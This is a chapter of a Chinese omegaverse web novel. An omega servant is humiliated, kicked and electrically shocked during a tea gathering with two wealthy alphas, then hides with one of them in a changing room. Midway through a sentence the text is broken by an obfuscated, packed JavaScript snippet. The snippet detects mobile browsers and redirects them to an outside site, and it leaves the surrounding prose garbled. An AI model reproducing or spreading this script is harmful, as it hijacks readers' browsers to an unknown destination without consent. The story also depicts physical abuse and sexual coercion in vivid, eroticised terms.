头顶上的铜枝吊灯晃晃悠悠,眼前仿佛笼罩着橘黄色的夕阳下,祝青辞像往前一样,给戚珣端茶倒水,却一直没有抬头。 戚珣只能喝得下祝青辞泡的茶,也不知是什么毛病,在个人生活上,他格外地麻烦多、事儿精。 祝青辞一边在脑海中过考试的题库,一边端茶倒水,一心二用,然而坐在对面的人却似乎有些不满,过了好一会,才沉声道:“阿珣,这就是你家的小仆从?” 他声音淡淡的,带着冰一般的质感,语气淡然,却分明是在找茬挑刺:“原来他竟然不知道要与客人打招呼么?” ……这个声音! 祝青辞微微一惊,猛地抬头,眼前,分明是一张熟悉的面孔! 他脑袋瞬间轰地一声,炸了,满脑子只剩下四个字,“麻烦大了!” 16.第 16 章 蒋白止怀疑今天出门没有看黄历。 首先第一个运气不顺的征兆是,出门前,他那便宜父亲破天荒地叫住了他。 第二个运气不顺的征兆是,这些天他一直受一个难缠的噩梦所困扰,每次醒来都觉得烦闷异常。 第三个运气不顺的征兆是,今天又看见了戚珣的男朋友。 “你那个叫‘瓷’的弟弟还没有找到么?” 蒋父是一个长相十分普通的中年男人,他躺在沙发上,手中捏着Cohiba的雪茄,语气随意地道: “你们学校的董事长昨天又跟我提起了,她如今年事已大了,这么多年,却没有再生一个孩子,想必是对当年失踪的孩子念念不忘。” 豪门贵族之间往往利益是错综复杂,同盟与敌对的关系眨眼间便可倾覆,好在,最近倒是风平浪静,各家各自岁月安好。 加德王立学院的校董会一直是祝家掌权,当前的校长就是祝家家主。最开始蒋白止进加德王立学院,也是拖了祝家的关系。 只不过,这位祝董事长已经年逾五十,上了岁数,身体自然也不太跟得上,最近学院里的不少事物都逐渐移交出去,唯独多年来一直对自己当年走丢的孩子念念不忘,成了一块心结。 真要算起来,那个走丢的“祝瓷”还勉强算是蒋白止半个弟弟。 蒋家与祝家有一点亲缘关系,父亲与祝校长之间大概能算是堂姐弟,只是两个人之间不深交,唯有利益往来。 找孩子这件事,蒋父自然是丢给了蒋白止。 蒋白止没什么表情,“每年都有去各个报社安排人,但是一直没有收到消息。” 蒋父忍不住嗤笑一声,“一群废物。” 他挥挥手,不耐烦地赶走蒋白止。蒋白止冷冷地看了他一眼,转身,离开家前,却是对着玄关处黑白照片中的女人点了点头,语气缓和下来。 “妈妈,我出门了。” 蒋白止如今算是半个单亲家庭。为什么算半呢?自然是因为父亲是个管不住下半身的种马,四处在外面花天酒地,完全不着家。 要不是蒋白止年纪轻轻地便开始抗重任,这个家早就被蒋父被败家垮了。 因此,他也一直很讨厌omega。 他的母亲是一个普通的beta,蒋父当年还没那么窝囊堕落时,与他的母亲白手起家。 蒋家夫妇从零开始运营,然而,好不容易蒋家独大,蒋父却出轨了一个omega。 理由十分正当:“alpha当然是要和omega在一起,易感期的时候,beta都不能安抚alpha。我和omega在一起不是天经地义么?” 他的母亲为此郁郁而终,没多久就撒手人寰。 “白止,你要对所爱之人专一。无论他是什么性别……绝不可三心二意。” 母亲死时,枯槁带着指甲的手戳在他胸口,眼神带着无奈和悲哀。 “我希望你喜欢他……不要单纯只是被信息素吸引。我希望你能认清他,知道他会如你爱他一般爱你,再交付出你的心。” 可omega对alpha的吸引都是天生的么?即使是,难道那么多年的情分,就真的比不过信息素下的冲动? ——那分明只是父亲出轨找的借口罢了。 蒋白止匪夷所思。清晰地意识到,大部分alpha不过是卑劣的、下等的,被信息素捆绑的劣种。 为此,他从小便是一个板正长大的少爷,学院中颇有些名气的四家豪门,只有他最为成熟、冷静、克制。 在同为豪门的戚珣发疯把人囚|禁在家,沈家的小军爷差点炸了一个基地的对比下,丁家还是个小孩时,他简直是亭亭玉立的好一株白苗。 克己守礼、风行端正、寡言冷淡,不拈花惹草,工作狂魔,上学下班——甚至还会去健身房进行身材管理! ——然而这一切,却都在那个傍晚被那个omega打破了。 蒋白止这些年的易感期过得简直比生理期还要规律,然而自从那日隔着门板,听到了里面少年挣扎溢出的呻|吟时,他就开始有些不对劲。 一开始只是有些生理期的躁动,长时间都很难疏解,可后来却愈发离谱,一旦他入梦,梦中就会出现那日被他压在身下的少年,鼻尖萦绕的都是温暖的雪松林香气。 这是一个很矛盾的气味,分明雪松林应该是清冷的,然而却在omega身上显得极其温暖。 梦中omega的衬衫被他挑开,露出鱼腹一般苍白柔韧的肌肤,薄薄一层的线条纹理游走在他身上,像是一个令人端详打量的花瓶,可以令人爱不释手地摩挲。 他像是卑贱的狗一样扑在瘦弱的omega身上,然而,他的脸上居然罩着止咬器,只能隔着铁笼,只能一下又一下地撞着omega脆弱的皮肤。 被撞的一片瞬间浮现虾粉色,omega湿漉漉的睫毛颤抖着,掉下几滴眼泪,他便立刻试图去舔舐。 像是看见骨头的狗,忙不迭地扑上去,唯恐再晚一点,眼泪蒸腾不见。 这可真是噩梦。醒来后,蒋白止很罕见地发了一场大火,砸了自己房间里的所有东西。 他根本不愿意承认易感期时那个脆弱,一离开omega就崩溃,还要omega哄他的人是自己。 简直丑态百出。他第一次有种事情脱出自己掌控的感觉,仿佛只要遇见那个omega,他命运的车辙就要偏离他原本的康庄大道,拐入一片黑暗之中。 因此,再次见到祝青辞时,他眉宇间很明显地露出极其强烈的厌恶。 祝青辞端茶倒水,他安安静静地沏茶,进门后就把自己的存在感压得很低,长而浓密的睫毛垂落,在眼下勾勒出一弯静谧的弧影,愈发显得他那张脸如瓷一般霜白。 只是坐在对面的男人始终双目如刀,冷冷地向他刺来。 祝青辞:“……” 居然是上次那个alpha。他有不祥的预感,因此愈加沉默,恨不得转身就走,脑海中想起沈有铮对他说过的话。 “——他要是知道易感期的自己对你这么眷恋,你要么被他囚禁,要么被他杀死。” 这句话可能并不是夸大,如果目光可以化作刀子,想必他已经被刺穿了。 “蒋哥,迎新晚会你要参加么?” 坐在对面的戚珣撩起鬓边垂落的一缕发,他精致俊秀的脸上扬起一抹笑,揶揄道:“你不会今年还不参加吧?去年你就没有参加了,你这学校上得比上班还要敷衍了。” 蒋白止没有说话,他沉静地端茶,整个人冷硬如冰,扣子规规矩矩地扣到喉结下方,浅浅抿了下茶,“看时间。” 他喝到茶,就立刻皱紧了眉头,放在桌上。两个人继续交谈,蒋白止道:“你找好舞伴了么?” “我还需要找么?”戚珣嗤嗤两声,“想跟我跳舞的人可以从这里排至校门口。” 他们如今坐在学院中庭的一个蔷薇花园中,夏日的花园中盛满了蔷薇,馥郁的花香飘逸。这里有数个玻璃花亭,里面装潢精致,从外面看,倒像是一个个漂亮剔透的玻璃盏。 “是吗?”蒋白止的声音很淡,“我还以为你会找你的男朋友去。” 祝青辞在一旁,脊椎猛地一僵。 戚珣瞥了他一眼,祝青辞低下头。alpha的目光混杂着厌恶以及冷淡,扭过头回来继续与蒋白止笑着交谈,“叫他去做什么?跌份子。蒋哥,你别说笑了。” 他们交谈了很多东西,蒋家和戚家一直关系不错,很难想象到二人之间会因为什么东西而破裂。 祝青辞左耳进右耳出,眼观鼻鼻观心,只想熬过这一段时间好尽快离开,然而蒋白止却开始不紧不慢地挑刺。 “冲泡时壶嘴不能对客人,没人教过你么?” “倒茶不能过满,七分满为宜。” 他居高临下,仿佛每一个开会时压迫感满满的老板,亦或是刻意为难乙方的甲方,连祝青辞是要向左转还是向右转,都能针对一下。 祝青辞咬了咬口腔的软肉,他深呼吸一口,乖乖地将蒋白止认为不满意的茶倒掉,重泡,再倒掉,再泡,手都快酸了。 然而,泡第一壶茶时,蒋白止摇头拒绝,泡第二壶茶时,他依然皱着眉,泡第三壶茶时,终于,祝青辞手抖,不小心将茶水泼到了蒋白止身上。 “咔嚓” 茶杯在地上摔得粉碎,空气安静了一瞬。 蒋白止冷冷地抬眼,没什么表情地看向祝青辞。 祝青辞低着头,没有与他的视线接触,蒋白止低头看了看自己的胸膛,茶水将他的衬衫逐渐染成枯叶般的褐黄,惹眼至极。 “跪下。” 戚珣霍然站起来,神情阴冷下来,“道歉。” 祝青辞猛地抬头,不可置信地看向戚珣。 戚珣却一点玩笑也没开,他阴冷的目光如刀一般,几乎要活生生地从祝青辞身上刮下一层皮,“是什么给你错觉,让你可以犯这种低等的错误?” 祝青辞没动,戚珣面露不耐,直接踹了他膝盖一脚,祝青辞面色瞬间白了,膝盖一痛,差一点就要跪在地上,但是咬着牙,勉强撑住。还没来得及开口,戚珣就揪住了他的头发。 心脏像是失去供血能力,祝青辞手脚冰凉,眼前的画面模糊不清,仿佛被人蒙上了一层阴影。 omega只能被迫仰起,露出一截苍白脆弱的弧线,身体微微痉挛,却依然坚持着没有下跪。 戚珣掐着祝青辞的脸,将祝青辞拉住,两个人靠得很近,是一个拥抱的姿势,然而戚珣的话却比刀剑还要冰冷,血淋淋地要往眼前的omega身上砸。 “祝青辞,多少年了,你总是这样。装着很有意思吗?” “可是你连装都装不好,到底为什么要拙劣地费这份劲,简直是比东施效颦还要好笑的笑话。” 祝青辞胸口仿佛被一块大石堵住,他张了张口,似乎想说什么,可伶仃手腕上的手环却忽然剧烈地震动一下,弹出了一截消息。 窄小的屏幕上,冷冰冰地跳出几个字,如蛆附骨,如影随形地逼问他,也阻断了他辩解的退路: [戚珣在做什么?] [为什么一分钟内不回消息?] [祝青辞,你忘记你的职责了吗?] 方才正是忽然起来的电流让他一时没有捉稳茶盏,才不小心失手。 仔细想来,祝青辞的生存环境一点也不好,他但凡只有露出一点爪牙,就要被捉回戚家,但若是不露爪牙,又要被任意折损。 他一时间有些迷茫,一瞬间,看向头顶的天花板,天花板朦胧而压抑,却仿佛一张织得密密麻麻的大网,密不透风地向他笼罩而来。窗外分明鸟语花香,阳光万里,祝青辞却觉得昏暗阴沉,仿佛他真的被关在一间铁笼之中。 他轻轻地呼出一口气,“戚……” 他没来得及说完,又是一阵电流,祝青辞吃力地睁开眼皮,薄而透的眼皮在阳光下痉挛。 周围一切仿佛泡水一般模糊,耳畔嗡嗡作响,左手一片火辣辣的刺痛,仿佛被上千根针扎了一下。 他试图挣开戚珣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13733687|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去回复消息,否则电流可能一直不能停下。 然而戚珣却误以为他在反抗,脸色阴沉如水,死死地盯着眼前的少年,看着他呼吸越来越微弱。 直到祝青辞快晕过去时,蒋白止忽然打断道: “够了。” 他眉头紧锁,看着眼前半昏迷被拽着的omega。 omega虚脱般地闭着眼睛,脸色苍白,头颅无力地侧歪,乌黑的头发软软地垂落至他苍白的后颈。 蒋白止薄唇抿成一条直线,眉心下一片阴影,手指摩挲了一下瓷杯,瓷杯冰冰凉凉,他垂着眼。 “既然要参加舞会,需要挑选衣服。” 蒋白止淡淡道:“不如阿珣借我一下你的小仆从。恰好我要去挑选新的礼服,身边还缺一个提包的。” - 我错了。祝青辞想。 身旁是男人混乱的喘息声,狭小昏暗的更衣室里,两个人紧紧地挨在一起。 鼻尖是缥缈的高级香水,身后是更衣室里布料的摩擦声,他本以为精装店的更衣室说不定空间可以更大一点。然而,这件更衣室却意外一般地狭小,容忍一个男生或许刚刚好,容忍两个,便显得他们仿佛是鲱鱼罐头里相拥的两只鱼,艰难地在拥抱的罅隙中呼吸着。 迟到了戚珣的休憩茶会,惹得戚珣在蒋白止针对他时袖手旁观,故意为难他,是他的犯下的第一次错误。 在茶会上因为再见蒋白止,没隐忍不发,反而把水泼了蒋白止一身,结果意外撞上戚母监视戚珣导致电击突发,这是第二个错误。 居然真的答应了陪蒋白止外出更换新的衣服,却不小心撞见蒋白止的父亲和情妇,为此被迫逃进了同一个更衣室中,这又是第三个错误。 “闭嘴,敢吭声我就让你从学校离开。” 更衣室内,两个人挨得很近,几乎能感觉到alpha隔着薄薄一件衬衫下蓬勃而灼热的□□。 蒋白止脸色格外难看,阴沉如水,他双眼皮沉甸甸地压在眼睛上,抬眼看人时,仿佛一对冷冽的弯刀。 祝青辞头昏昏沉沉,忍不住压低声音,“太近了……” 他们确实挨得很近,祝青辞蹙眉,偏过头去,似乎非常抗拒与他接触。 蒋白止冷眼看着omega抗拒的神色,内心有些烦闷,“你再多说一句,我就把你扒光了扔出去。” 他语气冷冷地警告,仿佛一个低吼着警告威胁他的狼犬,祝青辞只能闭嘴。而更衣室外,蒋父与他的情妇正笑着说些什么。 “你今天陪我逛街,公司没有事吗?” “有什么事?”男人笑着,暧昧地摩挲情妇的肩膀,“我家不成器的儿子想折腾,便让他试着折腾。” “你不怕他生气?”情妇笑道。 “他有本事就将我从这个公司踹下,否则无论如何,都翻不过我这座五指山。” 蒋父说道:“好啦,自从他母亲死后,他就晦气得要命,你晓得他看我的眼神么?像是一只不听话的狼崽子。今天聊他做什么?不应该陪你么?” “少来,我是你这个月的第七个omega了吧?” “你放心,我是真的对你心动。我们信息素匹配可是90%,没有什么能将我们分开,从此往后我眼里都只有你。” “……” 蒋白止金丝眼镜后一双狭长的眼睛微微眯起,今天他才在家里发现另一个omega留下的衣服。 他的父亲真是一如既往地令人恶心,轻而易举地便能被omega的信息素迷得团团转。 他悄无声息地指使着一个他的内线店员去拍摄他父亲与情妇的照片,祝青辞很小声地问:“你认识他们?” 当然认识,自己的种马废物老爹,立志于扳倒他、夺得蒋家大权的蒋白止冷哼一声,漠然道:“不关你的事,就闭嘴。” 然而,就在这时,门外的女人似乎挑好了衣服,高跟鞋踩在地上发出清脆的声响,“哒哒”地一下又一下敲击在人的心脏上。 高跟鞋与他们越来越近,一个人影停在他们门口,“这间没有人吧?我先试试这件。” 她似乎根本没有注意到这间更衣室里的二人,一边和蒋父打趣着聊天,一边巧手一伸。更衣室外暖黄色的灯光透过缝隙斜斜地漏进来——居然就要掀开两个人的帘子! 祝青辞睁大眼睛,根本无法想象,如果二人此时的场景被外面的人目睹,会是怎样的情形。而蒋白止显然也不想被他的父亲发现,眉头皱得更紧。 “别动。” 眼前仿佛是逐帧定格的电影,精致的丝绒布游动着,头顶处的金属吊环发出细微的声响滑动着,光芒越来越盛,眼看就要暴露! 千钧一发之际,祝青辞忽然觉得自己下巴一疼,接着,他被掐住下巴,被迫地仰起了头。 祝青辞呆滞了半晌,随后自己的双手猛地被人交叠握住,用力地摁在了头顶上方。 “等等,你要做什……” 男人的指尖顺着他掌纹的生命线缓慢地滑动,令人头晕目眩的灯光下,蒋白止喉结上下滚动,面目一片隐忍地低下了头。 “装一下,叫一声。” 在祝青辞逐渐放大的瞳孔中,他们二人越靠越近,呼吸逐渐交缠,龙涎香在空气中缓慢地蒸腾起来,他被蒋白止完全笼罩在身下,双腿被男人的膝盖挑开,脚尖被迫踮起。 蒋白止往他腰上的软肉掐了一下,祝青辞顿时发出一声压抑的闷哼,而下一刻,更衣室的帘子猛地被人一拉! 一时间仿佛有惊涛骇浪,席卷而过。